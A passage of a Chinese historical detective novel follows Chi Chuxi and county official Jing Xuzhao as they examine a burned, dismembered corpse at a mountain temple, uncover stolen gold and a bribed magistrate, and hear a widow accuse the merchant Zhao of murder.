其实她也只是想从季沐风这里探探口风罢了,想知道他目前为谁做事根本无需去证实,即便他现在不为公主卖命,难保将来不会。
既然上了白家这条船,他就跑不掉了。
池楚浠神情冷漠,她也不想有朝一日要将季沐风算做对手,可夫妻一体,他和白蓉绒哪里还分得开。
命运弄人。
她回到自己房间,宋晚吟这会儿已经睡着了,陆逍歪歪地靠坐在地上,昏睡着还没醒来。
池楚浠轻手轻脚带着三棱刺的图纸出门,连夜赶往赵家。
空缘古刹是一个寺庙群落,房子错落有致地从山脚铺到山腰,红顶白墙,白日里一眼望去极为壮观,不过夜里只能看见黑乎乎一片。
池楚浠一手拉着缰绳,一手拿着火把,勉强能看清前路。
赵家在西街的中央位置,拥有极好的视野,可以眺望不远处的红房。
西街的月亮似乎格外明亮,池楚浠手中的火把光芒已经暗了,但月光却照得四处透亮。
她站在一处土坡之上,遥遥望着前方的古刹群落,即使看不清晰,但也令人震撼。
夜空格外深邃,明月高悬,冷冷地洒着白光。
数不完的古刹密密麻麻的镶嵌在群山之上,对于许多人来说,这里是修行,也是信仰。
若是跪在这里虔诚地祈求上苍,或许心愿真的能达成吧。
池楚浠的心咚咚地跳动着。
赵家夜里竟还亮着灯,有私兵持刀守在门口,像是在防贼。
能养得起私兵,说明这赵家不光有钱,还和官员关系不错,能让当官的睁一只眼闭一只眼,允许他养少量的兵这就不是一般富绅能做到的。
池楚浠观察了许久,赵家门前的私兵丝毫没有懈怠,天快亮时,私兵们就交班了,换了一批人继续守护赵家。
赵家是藏了什么宝贝,竟需要这么严格的看守。
天刚亮没多久,街边的面摊就开张了,池楚浠去做了第一个客人。
虽然山上古刹众多,但毕竟在山上,有人际荒凉之处。
焚尸地就在其中一个山坳里。
池楚浠照着证人给的路线寻去。
第一次见到这些古刹,从房屋的外观看,它们经历了多年的风霜,不似前两朝的产物,怕是要更为久远。
池楚浠抬头望去,天空蓝得很通透,与一片红房顶连接在一起,充斥着威严与神秘。
一位小僧匆匆跑过,见到师父便急切地道:“怀素师父,有人私自在天祭台分尸!”
“何人这般大胆?”
小僧道:“不认得,看穿着像是哪家的奴仆,弟子已经找人把他扣下了,师父快随我去看看。”
27. 黄金玉牌
池楚浠跟着两名僧人去往天祭台。
去天祭台的路是一直往上的,仿佛爬到了古刹的最高点,在这里能看到更广阔的天地。
到了天祭台,僧人们押着一个奴仆过来。
“怀素师父,就是他在天祭台分尸,那尸体已经被烧坏了,认不出是谁。”
天祭台其实只是一个宽阔的平地,有一张完整的石面平铺着,石头上有干涸的血迹,新鲜的和陈旧的混在一起。
怀素上前查看死者,尸体的皮肤被烧毁,根本看不出什么。
他问那名奴仆:“你是谁家的仆人,在天祭台举行安葬仪式是要获得法师首肯的,为何要在这里分尸,玷污祭台。”
仆人被僧人们束缚着双手,他战战兢兢道:“是我们家主子吩咐,说要把这尸体拿来喂野兽,我选来选去才想到这个地方。”
“在这里把尸体切开喂了野兽,说不定老天还不会怪我,只以为我在办葬,毕竟我老家有这种习俗。”
奴仆看了石面的血迹一眼,接着道:“办葬和分尸也没什么两样,这就不算我的罪过了。”
怀素念了句:“往生极乐。”
其他人也跟着念。
怀素问:“死的是你们主子家什么人,为何被烧焦了?”
奴仆结结巴巴:“这……他是……我也不知。”
怀素怒道:“速速报官!”
“师父,官爷已经在古刹了。”
有一小僧人领着一行人过来,为首的正是景序昭,他身边是刺史的衙兵。
景序昭一来便看见了围着看热闹的池楚浠,他将她拉入队伍道:“你怎么找来了?”
池楚浠给他看了画有三棱刺的图纸:“听闻赵员外也有这个,我偷偷来打听。”
景序昭将图纸按回池楚浠手里,示意她先收好。
“赵家的人说尸碾不见了,若他真是凶手,这会儿应该已经跑得没影儿了。”
“听闻尸碾最后出现的地点是在古刹,我便一早带着人过来。”
怀素上前双手合十道:“施主,古刹的天祭台不允许外人私自来办葬礼,况且这位奴仆将死者分尸,还不知死者身份,还请官府处置。”
景序昭带着装备齐全的衙兵,即使不看他的腰牌也能确认他的身份,古刹的僧人们都恭敬地等着官爷发话。
衙兵将被抓的仆人接过来,扣押在景序昭面前。
景序昭上前看了尸体,尸体已经被火烧过一遍,面目全非,两只胳膊被砍了下来。
“死者是你什么人?”
仆人摇头说不知。
“为何要将他带来此处分尸?”
仆人抬头扫了众人一眼道:“之前跟各位师父说过,这里本是一个祭台,在这里举办仪式送他走以后他的魂就不会找我麻烦,所以……所以我才把他弄过来的。”
“谁指使你的?”
“自然是……我家主子,西街赵员外。”
郑司马跟着景序昭来的,他疑惑道:“又是跟赵家有关,这赵员外一家到底牵扯了多少案子。”
古刹里的几位老师父认识郑司马,纷纷向他点头示意。
一小僧匆匆跑来道:“不好了怀素师父,咱们院里的那批金子丢了!”
小僧急得脸发红,接着道:“近日法空师父说要开始动工,方才师父们去库房清点金子数目,发现全没了!”
怀素一听,差点脚下不稳,身旁的小僧赶紧扶着他。
怀素立马跟郑司马见礼:“诸位也听见了,请郑司马为我们做主,寻回丢失的黄金。”
郑靖邦一脸严肃地问:“丢了多少黄金?”
怀素看向来报信的小僧,沉声道:“都丢了?一点没剩?”
小僧点点头:“是,一百两黄金全丢了。”
“多少!”郑靖邦瞪大了两个眼珠子,“一百两黄金!你们也太富了,怪不得贼盯上你们。”
怀素感觉有点喘不上气来,丢这么多钱,换谁都肉疼,他道:“这笔钱是用来修缮的,古刹房屋众多,平日里还要养活这么多人,我们有点钱财不稀奇。”
“劳烦郑司马帮我们把金子追回。”
郑靖邦叹了口气:“得,上一桩事还没办完,又来一桩,我说老师父,你帮我看看最近我是不是特不顺,能不能帮我做个法事。”
景序昭看向郑靖邦道:“准备笔墨,如实写验尸格目,以供断案之需。”
郑靖邦只是开玩笑问问,不是真的要做法事,他立刻安排手下去准备笔墨了。
不用景序昭开口,池楚浠就知道他想干什么。
池楚浠掏出了随身携带的手套,这是她自己缝制的,便于验尸时使用。
在郑靖邦的手下还没回来之前,她不妨先看看。
池楚浠先检查了尸体外观,和州衙里的那三具尸体一样,烧的程度大致不差,像是同一个火坑里烧出来的,温度和时长都把控得合适。
池楚浠有些惊讶道:“阿兄,死者身上也缺少油脂。”
景序昭也有些震惊:“竟和那三具尸体一样,看来都是同一桩案子。”
郑靖邦拿到了笔墨纸就开始亲自记录,池楚浠说什么他就写什么。
“郑司马,记,死后焚尸,四肢呈拳斗姿势,口内无烟灰……”
郑靖邦自己嘀咕:“口内没有烟灰,这倒与那三具有所不同,看来没有了张二牛造假,尸体就是正常死后被焚烧的状态。”
尸体表面虽然被烧得无法辨认了,但肌肉还保留了很大一部分,似乎烧他的人只是想模糊他的外在特点,并没有想把他烧成灰烬。
池楚浠从尸体握起来的掌心里扯出一个金属物件,长长的像玉牌的东西。
池楚浠用刷子将它刷干净,放入衙兵准备的水盆里清洗,然后小心翼翼将它捞出。
金牌上面刻着“长命百岁”的字样。
“这是一个平安符?”池楚浠疑惑了看了几眼。
怀素凑过来看了看,道:“没错,是平安符,而且是金子打造,看这成色似乎很新。”
郑靖邦道:“不会就是你们丢失的金子做的吧,反正他回炉重造了你也认不出来。”
怀素盯着金牌看,的确认不出,金子又不会主动认主。
池楚浠检查完毕,将手套脱下。
“阿兄,可以了。”
景序昭嗯了
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一声,吩咐道:“将尸体带回州衙,交给刺史。”
郑靖邦比景序昭的官职大,他默认自己可以指挥景序昭,池楚浠连个官职都没有,只知道景序昭认她为客卿,那连同池楚浠他也是可以一同指挥的。
郑靖邦道:“景县丞,池娘子,你们两个随怀素师父去看看库房是否有遗落的线索,我带人去赵家问话。”
池楚浠看了景序昭一眼,只见景序昭微微冲她点了点头。
郑靖邦美滋滋地带着手下往赵员外家去,此事若真与赵员外有关,那他先去赵家走一遭,打探打探。
赵家为了避免多生事端说不定会拿钱封他的嘴,一想到有白拿的钱财,郑靖邦脚步都快了些。
没想到这一趟出门办事还是个肥差,也不枉他昨日连夜跑一趟。
池楚浠跟着怀素来到古刹的库房入口,这库房也是一栋老式的建筑,看来这里的确都需要里里外外修缮一番,估计得花不少钱。
怀素吩咐小僧:“库房光线不好,去点灯来。”
小僧端了两盏烛台,给池楚浠和景序昭一人发了一盏。
小僧道:“这库房当年建在地下,为了保险起见,几十年不曾挪过地方,两位当心脚下,没走习惯容易摔着。”
眼前是一截台阶,但只有十来步梯子,这库房建得并不深,走几步就下来了。
底下的空间很大,周围堆放着一些置换下来的东西,比如花瓶、坐垫。
池楚浠问:“金银珠宝也和这些东西堆放在一起?”
不知何时起,怀素没有跟着来了,只有小僧陪着他们。
小僧道:“都在这下面,不过钱财都有专门的箱子存放,在前面,二位随我来。”
景序昭留意着周围的环境,连脚下的路也观察得很仔细,可并没有看见盗贼留下什么明显的痕迹。
小僧领着他们来到几个大箱子前,箱子上挂着锁,但他没用钥匙就直接把箱子盖揭开了。
“两位请看,原本黄金都是放在这里面的,如今锁被砸坏,黄金都被拿走了,里面的其他值钱物件也丢了不少,就是大件的还在。”
池楚浠往箱子里看了看,大件的东西都在,估计盗贼是觉得不好搬,所以留下了。
景序昭举着烛台检查四周,还仔细查看被砸坏的锁,都没有什么特殊的痕迹。
贼人是有备而来。
池楚浠忽然想起了什么,饶有兴致地问了句:“阿兄,你不是精通推演之法,你算一卦,看看丢失的财物在何处。”
景序昭回头看着她,无奈地笑了笑。
他摸出三枚铜钱,双手捧着铜钱,轻轻摇动,然后将铜钱抛洒在木箱上。
“坤定位在西南,丢失的财物多往西南寻之。”景序昭道,“卦象显示,不用刻意去找寻,财物会自己回来,可能还有意外之喜。”
“意外之喜?”池楚浠思索着,“当下我实在想不出还能有什么意外之喜。”
“不过你说这财物如何自己回来,难道它长腿了不成,会自己跑。”
小僧在一旁道:“这些钱我们急着用,还请两位施主尽快找回。”
景序昭点点头:“自然。”
28. 是他偷的
从古刹出来后,池楚浠二人也往赵家去。
郑司马去了好一阵了,不知问话问得如何,有没有弄清死者的身份。
景序昭亮出腰牌,赵家的侍卫才放了他们进去,同时仆人飞快跑去通报。
另一边,郑司马刚收下一笔横财,悄悄让属下藏了一半。
眼前的年轻郎君对着郑司马恭敬道:“那就辛苦郑司马了,这件事尽量不要牵扯我们赵家,有什么事咱们私下解决。”
郑靖邦摸了摸兜里的一部分钱,笑道:“那是自然,小事化了嘛。”
仆人急急忙忙赶到,躬身道:“郎君,外面又来了个官爷,是个县丞。”
赵佑安看向郑司马道:“应是与司马同行的景县丞吧。”
话音未落,景序昭就已经来到他们面前。
赵佑安上前见礼:“见过县丞,县丞有什么要查的,要问的都可以问我,我一定知无不言,助司马和县丞早日破案。”
景序昭打量着这个年轻郎君,问道:“昨日我来时为何没见过你?”
赵佑安得体地笑了笑:“我乃员外义子,听闻家里出了事才从铺子里赶回来,我到家时县丞已去了古刹。”
“郑司马,景县丞,二位屋里喝茶,有什么事咱慢慢说。”
赵佑安待人接物很有一套,估摸着是平日里伺候商客伺候惯了,连笑容都摆得正正好,不多几分也不少几分。
池楚浠是个没有官职的小娘子,他竟也安排了一个座位,就排在景序昭旁边。
赵佑安道:“我知家中闹出了人命官司,这就跟两位解释。”
“我义父这几日身体不适,昨日熬夜见了景县丞后今儿就更起不来床了,我便代为处理一些家事。”
“把人带上来。”
衙兵和赵家的侍卫一起将那个仆人押了上来,仆人跪在地上等候发落,但看不出来他有畏惧之意,这一点令景序昭产生疑虑。
赵佑安指着仆人道:“此人是家中奴仆,叫做顺儿,平日里为我义父跑腿办些杂事,前几日义父发现家中有一奴仆行偷窃之事,一怒之下不小心将他打死了,事后义父也后悔应当扭送官府。”
“但他老人家身体不好,不想多生枝节,便暗中叫顺儿把尸体处理了,这才有了司马和县丞见到的事。”
景序昭虽认真听他讲故事,但心里是半分也不信的,他问道:“既然是处理奴仆后事,为何不直接交给家里人,既一同在赵家当差,顺儿为何声称不认识死者?”
赵佑安脸上的笑容僵了一瞬,神情没有方才那般自然,他道:“义父是怕奴仆家人闹事,至于顺儿……”
他看了顺儿一眼,才道:“顺儿向来是听义父的话,他说不认识那或许真的不认识,毕竟赵家这么大,顺儿也不是住在府里的,不一定认识府中所有人。”
郑司马道:“顺儿,你家少主子说的可属实?”
顺儿赶紧磕头:“属实的。”
郑司马接着问:“为何要烧尸体?”
顺儿道:“主人说不想让人看见他身上的伤,怕多事之人将此事告到官府,我就想着把尸体烧了,烧一半就后悔了,应先办送葬仪式再烧,于是我就把人拖去了天祭台,按照我老家送葬的法子送他走。”
大晟朝有律法规定,主人不得无故打死家奴,但实际上多数对主人打死奴仆的行为从轻处罚或不予追究。
有的主人家打死了奴仆索性瞒着不说,官府就无从插手。
池楚浠忽然道:“你老家的送葬仪式是将人肢解?”
顺儿点头道:“是,将人肢解后放入坛中,然后再下葬,在我们那里叫坛葬,能让死者的魂安息,不化做厉鬼。”
“我……我也是害怕,毕竟是我处理他的尸体,怕他找我报复,所以才想用这个法子的,几位官爷,我没有杀人。”
池楚浠默默喝了一杯茶。
赵家郎君和顺儿说的话都对得上,验尸结果表面上看也是如此,但池楚浠对这具尸体仍存有疑虑,被烧过的尸体为何缺少油脂溢出。
赵佑安恭恭敬敬道:“杀无罪的奴婢只徒一年,若奴婢有罪,主人请于官而后杀之者,即为无罪。我父亲只不过是没有提前告知官府,还请司马和县丞宽恕。”
赵佑安对属下使了个眼色,接着便有婢女捧着两袋钱分别给了郑司马和景县丞。
郑靖邦直接伸手接了,毫不犹豫。
景序昭没接,婢女便将钱袋子放在他旁边的桌上。
赵佑安看着景序昭道:“我父亲年纪大了,不方便舟车劳顿去衙里解释,左右也不会判个什么罪,还请两位予以方便,就让我父亲在家中休养。”
郑靖邦摆摆手道:“小事,奴仆偷了主子的钱,自是该杀,不必让员外多跑一趟。”
赵佑安恭敬道:“多谢郑司马体谅。”
池楚浠此时转头看着景序昭,景序昭也正朝她看来,有那么一瞬间两人似乎想到一处去了。
这个被烧死的奴仆和州衙里的那三具尸体必定有所关联,两桩案子如此巧合地相似,其中必定有鬼。
到底是谁在捣鬼,恐怕还要审了才知道。
景序昭道:“顺儿我们要带回州衙审问,至于赵员外,可暂时在家休养,但州衙传唤时必须来。”
赵佑安看了看景序昭,又看了看郑靖邦:“这……到底听谁的?”
郑靖邦脸色顿时黑了下来,他盯着景序昭道:“景县丞,你什么职位心里没数吗,竟要越过我行事。”
郑靖邦沉声道:“我说此事就这么办,州衙里事务繁忙,若是样样小事都拿去叨扰刺史,岂不是显得州衙的人都很无能。”
“景县丞,你终究只是苍山县的一个小小县丞。”
景序昭勾起桌上的钱袋,悬在郑靖邦眼前晃了晃:“郑司马不止收了这点吧,其他的藏哪儿了?”
“你!”郑靖邦怒目瞪着他。
景序昭将钱袋子又扔回桌上,冷声道:“刺史委托我办焚尸一案,已知嫌疑人石碾是赵家仆人,此时石碾不知所踪,而赵家又闹出另一桩人命案,按理,应审问赵家一切相关人士,包括赵员外本人。”
景序昭冷眼看向郑靖邦:“若因为郑司马的疏忽让真正的凶手逃逸,郑司马可担得起罪过,郑司马敢笃定这四名死者一定是两桩案子吗?”
郑靖邦气得脸红一阵白一阵,上下牙齿打了一下颤:“当然……不能笃定。”
“那你的意思是要把所有赵家的人都抓起来审问一遍不成?刺史可有给你这么大的权利?”郑靖邦起身道。
景序昭扫了一眼围在周围的衙兵,他们都是衙兵中的佼佼者,武力不凡。
“尚书之女白娘子亲口向刺史举荐我,命我尽快查清焚尸一
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案,届时她回长安后自会让尚书同僚为刺史记上一功,郑司马,你觉得刺史会不会眼睁睁看着咱们把事情搞砸。”
景序昭的一番话令郑靖邦紧张起来,眼珠子转了几圈后,他有些抱歉地看向赵佑安:“赵郎君,此事恐怕还得细细审问,至少石碾这个人你们得给我一个交代。”
赵佑安道:“应该的,我这就把府里所有下人叫来问话,还有被顺儿分尸的那个,也一并问清楚。”
“郑司马,景县丞,两位不用担心没法交差,我一定给你们一个满意的答复。”
仆人来禀报:“郎君,外头有个妇人求见,说是要报官。”
“报官?”赵佑安愣了一下,“她怎么知道官爷们在这儿。”
他看向郑靖邦和景序昭:“这……”
景序昭:“让她进来说。”
赵佑安:“去把那妇人领进来。”
仆人领着妇人进屋,妇人看起来朴实,一来便往地上跪去,磕头道:“民妇要报官,民妇的丈夫失踪了,已有三日不曾回来过。”
郑靖邦无奈地揉了揉脑袋:“三日不见你就要报官,你这妇人别太荒谬。”
景序昭冷眼朝郑靖邦看去。
接收到眼神的郑靖邦忽觉脖子一凉,那眼神像刀一样剜在他脖子上,跟要了命似的。
郑靖邦吞了口唾沫,不再说话。
景序昭接过话头:“他平日里多久回家一次?”
妇人:“每日都回,他就在这赵府里当差。”
池楚浠听完一惊,忍不住抢先道:“他可是叫石碾?”
妇人瞪大了眼睛望着池楚浠:“是……你们怎么知道,难道他……难道他出事了?”
景序昭与池楚浠对视一眼,两人又想到了一处。
在天祭台被分尸的尸体还在衙兵手里,是准备随他们一起带回州衙的。
景序昭吩咐衙兵:“把尸体带上来,让她认一认。”
一听到“尸体”两个字,妇人跪着的腿就更软了,直接瘫坐在地。
“尸体……”妇人呢喃着,身体有些发抖。
为了携带方便,尸体已经装进了箱子里,衙兵们把大箱子抬上来放在院中。
盖子已经揭开,白日里温度不低,尸体已经开始发臭。
景序昭道:“去认认,可是你失踪的丈夫?”
妇人撑着身子站起来挪向箱子旁,忍着尸臭味探头往里看去。
仅看了一眼,便转过头干呕。
“我……我认不出,都烧成这样了。”
池楚浠上前,将手中的东西拿给她看:“那这个呢,这个可认得出,是不是你丈夫的东西?”
妇人一把夺过池楚浠手中的纯金平安符,瞬间泪眼汪汪:“是……是我丈夫的,他在哪儿,这平安符是他才打的一个新的。”
池楚浠指了指箱子里的尸体道:“从他手里取出来的,他生前死死攥着。”
妇人一听,顿时痛哭流涕。
“石郎!”
“石郎是谁害了你!”
郑靖邦虽被景序昭威慑到,但还是忍不住问:“石碾不过是赵家的一个奴仆,为何身上会佩戴如此贵重的平安符?”
妇人趴在箱子前哭了好一阵,终于缓过来回:“这金子……是他偷的。”
在场之人都有些惊讶,妇人竟这般直言。
29. 香草味道
当所有人的注意力都落在妇人身上时,池楚浠却暗中看向了顺儿。
他跪在一旁没吭声,仿佛就是个看戏的,一切都和他没关系。
池楚浠瞄了一眼妇人手中握着的平安符,那可是块金子,尽管不大,能被死者全然藏在手心里,但顺儿都把死者的胳膊卸下来了,能没留意到手里藏着的金块?
池楚浠借着景序昭身影的遮挡,继续打量着顺儿。
这个奴仆绝对不简单。
妇人哭完后跪到离她较近的景序昭面前,她的头在地上磕得哐当一声响:“官爷,他是怎么死的,求官爷告知民妇。”
郑靖邦道:“他偷主人家的东西,他只是个奴仆,即便是死了也就这样了,你还能如何?”
妇人抹着眼泪道:“民妇不能如何,民妇只想知道他是怎么死的,总要有个交代。”
郑靖邦看向赵佑安,想看赵家儿子是什么意思。
景序昭也看向赵佑安,这里是赵家,石碾的娘子竟能找到这里来报官,即便能打听到有州衙的人进了赵家,可一个如此淳朴的妇人怎么敢直接来见官的。
况且她并不能向官府提供任何丈夫失踪的证据,仅仅三天不见人而已,她怎么敢来的。
其中必有猫腻。
景序昭等着赵佑安的反应,这一桩桩一件件,指定与他脱不了干系。
妇人泪眼婆娑地看着两位官爷。
赵佑天终于叹了口气道:“你丈夫是被我父亲失手打死的,这样吧,我赔你些钱,此事便作罢。”
妇人扶在装尸体的箱子上,红着眼睛道:“民妇的丈夫一直勤勤恳恳为员外做事,员外因何失手打死他?”
赵佑天道:“你方才不是说了他偷钱,他不正是因偷了钱我父亲才打死他的,按理我不用赔你钱,他也该死,就是去衙门审也是如此。”
“不是的!”妇人大声道,“石郎偷的不是员外的金子,是古刹库房里的,况且……”
赵佑天见机会来了,立即逼问:“况且什么,你都招来一定为你做主!”
妇人道:“况且石郎为员外做的那些事,那般见不得人,他为员外出生入死,员外又怎会……”
怎会杀他?
妇人说完便意识到了什么,若石郎真为员外做了那些事,员外还真有可能杀了他。
毕竟,只有死人的嘴最严。
可惜,员外没有料到石郎会将这些告诉她。
她有些无助地看着两位官爷,不知该信任谁,谁会为一个奴仆做主。
赵佑天此刻显得有些震惊,他站在原地明显有些焦躁。
而郑靖邦此刻也很为难,钱都收了两回,如今要怎么帮赵佑天压下这事。
到头来说不定还得把赵员外带回衙门问话,白瞎了赵佑天一番孝心。
郑靖邦都想着把钱退回去了,这钱收得真烫手,真麻烦。
景序昭道:“石碾的娘子,你叫什么名字?”
妇人嗓子哭得有些哑了,低声道:“民妇姓伍,家中排行老二。”
景序昭:“伍二娘,石碾为赵员外做了哪些见不得人的事,你一一道来,若有冤屈,我必定为你伸冤。”
伍二娘环视了一圈周围的人,都是些壮硕的男人,不是豪绅就是官爷,她谁也得罪不起。
她不敢说。
伍二娘将所有人都看了一遍,怯怯地收回了目光。
按照景序昭以往的路子,只要把人按着打一顿,一般还没打就都招了。
但欺负一个妇人,他还做不出来。
伍二娘方才不小心说出丈夫为赵员外做肮脏事的话,这会儿有些后悔了,她怯怯地看了赵佑天一眼,立即把头埋下。
收了贿赂的郑司马内心正咬牙切齿,原本赵佑天不想把事情闹大,为了这个才给他塞钱,如今他可怎么压得住。
郑靖邦正要开口说些什么,景序昭便故意在他眼前提了提刀。
郑靖邦又感觉脖子一凉,不知为何,他看见景序昭提刀就瘆得慌,总感觉他这刀杀过许多人,有煞气似的令人恐惧。
还没说的话从嗓子里压了回去,郑靖邦只是不自在地咳了几声。
景序昭吩咐衙兵:“将伍二娘带回州衙审问。”
虽然不用刑,但可以等,等她开口。
景序昭又道:“赵郎君,请你父亲也随我们走一趟,石碾的死与另一桩焚尸案极其相似,赵员外必须回衙门交代清楚。”
郑靖邦道:“不是说好不带赵员外回衙门吗,你怎么又改口了?”
景序昭冷冷地看了他一眼:“如今已知赵员外打死的是石碾,而石碾曾贿赂两名证人,郑司马,你觉得此事要这样糊弄过去?”
赵佑天焦急地皱着眉头:“景县丞,我父亲这几年身体不好,极少出门,连家里的铺子都是我在看着,他绝不可能牵扯上别的案子。”
赵佑天很是诚恳地向景序昭行了个礼:“景县丞有任何要求我都配合,只希望不要打扰我父亲,我愿替父亲去衙门走一遭。”
景序昭没理睬赵佑天说的话,他抬手点了几个衙兵道:“去请赵员外。”
衙兵刚小跑着往后院去,赵员外就被管家扶着出来了。
“既然是衙门吩咐,我去便是。”
赵员外被人掺着走了过来,赵佑天见了赶紧迎上去,接替了管家的位置。
“父亲您怎么来了,今日外头风大,别吹着了。”
赵员外苍老的眼睛朝景序昭看来,他的神情颇有些慈眉善目的样子。
“景县丞,原以为昨日一见你已知晓我是清白的,没想到今日又多出这些事来,也罢,我不会让县丞难做,咱们这就去衙门。”
景序昭勾起唇角,语气平和:“多谢员外体谅。”
景序昭招呼所有衙兵:“带上人,回衙门。”
郑靖邦故意落后许多,悄悄对赵佑天道:“实在是抱歉,还是没成全你的一番孝心,老爷子硬让景县丞带走了。”
赵佑天道:“让司马费心了,不过我父亲是清白的,他只是打死了一个奴仆,我让府里的人跟着去,等衙门审清了好立即接他回来休养。”
郑靖邦拍着赵佑天的肩感叹:“大孝子啊。”
赵佑天躬身行礼:“司马慢走。”
回去的路上,池楚浠骑马走在景序昭身旁,两人故意将同行的郑司马甩出一段距离。
“楚浠想说什么?”景序昭问。
池楚浠道:“果然什么都瞒不过阿兄,阿兄可有闻到一种香味,那味道在赵家时便有了。”
景序昭的目光在她身上扫了一下:“除了你身上的香味,我并未闻到其他的。”
池楚浠知道不是所有人都有她这般灵敏的嗅觉,她拿出一小盒香膏递给景序昭:“你说的应是这个,这是我身上的没错。”
景序昭打开香膏盖子,低头嗅去。
池楚浠赶紧提醒:“别闻多了,
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这是迷香。”
一听是迷香,景序昭立即将盖子合上,他微微有些惊讶:“你随身携带迷香,是要打算做什么大事?”
池楚浠把香膏放回身上:“我说的那个味道并不是这个迷香的味道,只是两种香味极其相似,是来自赵家,确切地说是赵员外身上的。”
景序昭回想起方才闻到的那种味道:“那像是女子用的香膏,你是说赵员外有这等癖好?可惜我实在没留意他身上的香味,就算闻到了我也只会以为是你身上的。”
池楚浠道:“这迷香是晚吟给我的,在苍山或是长安时我从未见过这类香味的熏香或香膏。”
池楚浠定定地看着景序昭道:“这香味还有一个地方也有,空缘古刹。”
景序昭微微一怔,在古刹时池楚浠一直在他身边,他向来只留意着池楚浠身上的香味,对别的香不感兴趣。
这会儿仔细一回想,他第一次特别注意到这个香味是在古刹的大香炉前。当时那味道比平时更浓郁几分,所以他印象深刻。
那是一个专供信徒上香点蜡的大香炉,是石头打造,凹槽里落了许多蜡油,上面一层留了许多香灰。
景序昭道:“香味在烛火里?”
池楚浠赞赏地看了景序昭一眼:“阿兄的记性不错,联想得也大差不差,那香味在蜡油里,就是这个香膏的味道,所以我猜想制作这种香膏的原材料应是本地的草木,一定是本地特有的东西。”
景序昭道:“一种制作香膏和蜡油都会用到的东西,可赵员外抹香膏做什么,除非他真的有涂抹女子香膏的癖好。”
身后有了别人的动静,应是郑司马赶上来了,池楚浠不再和景序昭讨论此事。
还在赶路的途中,前方忽然出现一匹马朝他们飞驰而来。
衙兵们瞬间警惕起来,有的纷纷拔出佩刀。
景序昭眼神好使,远远地就认出了马背上的人,他抬手示意身后的衙兵收起武器。
马儿一眨眼就跑到景序昭跟前,只见陆逍激动地指着池楚浠对景序昭道:“左侍郎,她,池娘子她……”
景序昭:“她什么?你好好说话。”
陆逍在马背上急得手脚乱舞,但嘴里却不知道该怎么说,他看着池楚浠索性长长地叹了一声。
景序昭还是第一次见陆逍这副模样,好奇地看向池楚浠:“你对他做了什么?”
池楚浠一脸无辜地摊摊手:“没有啊。”
片刻后,池楚浠似乎想起来什么,淡淡地哦了一声道:“我只是用那香膏把他迷晕了,想试试那香膏的效果,似乎还不错。”
景序昭再次看向陆逍,只见陆逍正对他疯狂点头,嘴里“嗯嗯嗯”不停。
陆逍:“池娘子趁着把我迷晕之际,跑去和……”
“和……”
他说一半又卡住了。
此时池楚浠已经策马往前跑去,这会儿正是赶路的好时辰,要快些回衙门。
景序昭皱眉看着陆逍道:“她除了迷晕你,还给你吃结巴药了?”
“不是!”
陆逍“哎”了一声,凑到景序昭耳边告知了他事情的来龙去脉。
说完,陆逍安抚似地小声道:“左侍郎,属下真的尽力拦了,可……没拦住啊,那季郎君毕竟是她心上人,从小青梅竹马……”
“再说我就给你灌哑药。”景序昭黑着脸道。
陆逍捂了嘴巴,做贼心虚似地跟在景序昭身后。
30. 真正死因
刺史升堂审案。
池楚浠没有官职在身,站的位置较偏,但同样没有官职的季沐风却在前排旁听。
左右看了一圈,没见着白蓉绒。
刺史:“伍二娘,你丈夫石碾偷了古刹一百两黄金是也不是?”
伍二娘:“是,不过……不是他一人偷的,偷黄金的还有三人。”
刺史一惊:“另三人是谁?”
伍二娘:“是同村的,他们惯常干些小偷小摸之事,都是他们撺掇我丈夫去偷盗,并不是我丈夫的本意,他说他要是不去偷那箱金子,他们就要打死他,他是逼不得已才去的。”
刺史:“另三人姓甚名谁,你一一说来。”
伍二娘报了名字,衙门里的人把伍二娘说的话都一一记录下来。
衙役来报:“刺史,赵家郎君说找到了古刹丢失的黄金,已派人快马送到门外。”
刺史:“快领进来。”
来的是赵家的私兵,那人将箱子放到刺史面前道:“这是我家少主在石碾从前打扫的杂物房里找到的,请刺史清点。”
郑司马找了人来点数,点了两遍才道:“黄金少了一些,不足一百两,其余珠宝都还齐全。”
伍二娘捧上那块平安符道:“这是用古刹的黄金打的,石碾与我说过,请刺史收回。”
郑司马又叫人把这块平安符称了重量,这才对得上数。
刺史:“伍二娘,石碾都与你交代过什么?”
伍二娘暗中看了赵员外一眼,低着头不说话。
刺史:“此案人命关天,你可要想清楚了。”
伍二娘再次抬起头来时看向了赵家的私兵,两人的目光有一瞬间交汇。
这一眼仿佛让伍二娘下定了什么决心,她红着眼眶指向赵员外:“是他,是他杀了另外三人,还放火烧了他们的尸体!”
赵员外向来跟衙门关系不错,他从来到这儿起就不是一副被审的样子,神情一直泰然自若,直到这一刻他才睁大了眼睛,表情诧异。
景序昭一直紧紧盯着赵员外,在那诧异的神情中还有一丝惊恐、害怕。
像是什么东西终于暴露了。
赵员外上了年纪,面目看起来倒是随和,他道:“空口污蔑,你可有证据?”
伍二娘继续控诉:“石碾在那三人的逼迫下盗走了古刹的钱箱,但分钱时那三人却只给了一点金子打发他,石碾气不过,便与他们打了一架。”
“后来,石碾趁他们不注意将他们迷晕,独自带走了钱箱,他想着将钱还回去,将来不至于落下罪名。”
“去古刹前,他来找我了,还给了我一块金子打的平安符,说是从钱箱里拿的一点,要我仔细藏好,但他去了还不到两个时辰就又抱着钱箱回来了。”
说到这儿,伍二娘有些害怕地望向赵员外。
景序昭距离赵员外近,他能看清赵员外脸上神情的细微变化,起初他是有些惊恐,但渐渐的,那丝惊恐就淡了下去,看向伍二娘的眼神里多了一分杀意。
从表面上看,赵员外是个和善的面相,但那一瞬间景序昭仿佛看穿了他,看到了他心底的恶魔。
伍二娘在赵家时明明还怯怯的,什么都不敢说,怎么才一会儿功夫就将事情抖了出来。
景序昭看向赵家的那个私兵,自从送了金子来后他就一直候在一旁,期间并未与伍二娘说过话,但伍二娘明显看过他几次。
伍二娘看他时的眼神不像寻常的陌生人交流,在私兵那里伍二娘似乎得到了什么肯定,有了更多的勇气。
景序昭道:“不到两个时辰他又回来做什么,伍二娘,你务必如实说来。”
伍二娘似乎更坚定了某种决心道:“是。”
“他去了不到两个时辰便回来了,他神情极度慌张,不停地在家里走来走去,还拿走了给我的金子,起初什么也不肯说,时间过得越久他越着急。”
“终于,他看了看天色,说不早了,来不及了,于是把什么都告诉了我。”
伍二娘眼中含泪,厌恶地看了赵员外一眼,道:“石碾说,他亲眼看见赵员外杀人了,张满仓、赵田生、孙铁锄都是他杀的,尸体也是他烧的,赵员外吩咐石碾处理尸体,给了石碾一笔钱,让他处理好尸体后便离开,可是……”
